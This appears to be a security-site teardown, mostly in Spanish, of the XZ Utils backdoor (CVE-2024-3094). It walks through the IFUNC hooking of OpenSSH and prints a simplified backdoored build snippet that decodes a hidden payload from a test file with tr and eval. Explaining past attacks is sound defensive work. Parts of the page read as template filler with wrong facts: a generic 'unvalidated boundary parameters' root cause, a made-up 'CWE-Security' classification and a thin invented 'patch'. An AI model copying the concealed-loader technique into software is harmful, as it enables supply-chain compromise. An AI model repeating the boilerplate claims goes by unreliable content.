flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · Crítica
Investigación · FlawOpen

CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

Análisis técnico del código fuente de CVE-2024-3094: cómo las modificaciones maliciosas del resolutor IFUNC en liblzma subvirtieron la autenticación de OpenSSH.

💡 Explicación en Lenguaje Sencillo (ELI5)

Imagine que un banco construye una cámara acorazada utilizando tuberías estándar. Los planos oficiales son limpios. Pero el operario que empaqueta las cajas de envío introduce un cable electrónico invisible dentro de la tubería. Cuando la tubería se atornilla a la cámara en Linux, el cable se conecta a la cerradura principal del banco (OpenSSH), permitiendo al operario abrirla en cualquier momento con un mando secreto. En CVE-2024-3094, la puerta trasera se ocultó en los scripts de compilación de los paquetes tarball para otorgar acceso root sin autenticar a través de SSH.

Conceptos Clave y Términos

Open Source Systems
Componente de arquitectura central afectado por CWE-Security.
CWE-Security
Clasificación estándar Common Weakness Enumeration (CWE) para cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
Verificación de ingeniería multicapa y aislamiento de límites en tiempo de ejecución.

Análisis de Causa Raíz

La causa raíz se debe a parámetros de límite no validados en sistemas de código abierto, lo que permite la desincronización de estado y la elusión de controles de seguridad.

Flujo de Ataque Paso a Paso

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

Código Fuente: Vulnerable vs. Seguro

✕ IMPLEMENTACIÓN VULNERABLE
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ PARCHE SEGURO Y ROBUSTO
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

Lista de Verificación de Seguridad para Ingeniería